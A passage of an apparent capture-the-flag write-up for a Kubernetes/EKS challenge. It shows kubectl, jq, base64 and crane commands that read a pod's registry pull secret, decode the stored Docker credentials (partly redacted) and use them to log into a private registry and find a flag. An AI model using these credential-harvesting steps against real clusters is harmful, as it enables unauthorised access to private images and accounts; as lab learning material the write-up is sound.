data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo its on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue.   The second hint was that crane is on the system so\nlets use that to pull the image and inspect it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthentication\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequired\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I'm going to go\nnext:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo that is the secret we need, lets view it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eregistry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auths\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auth\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we've got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeksclustergames:dckr\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edckr\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:35:49\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      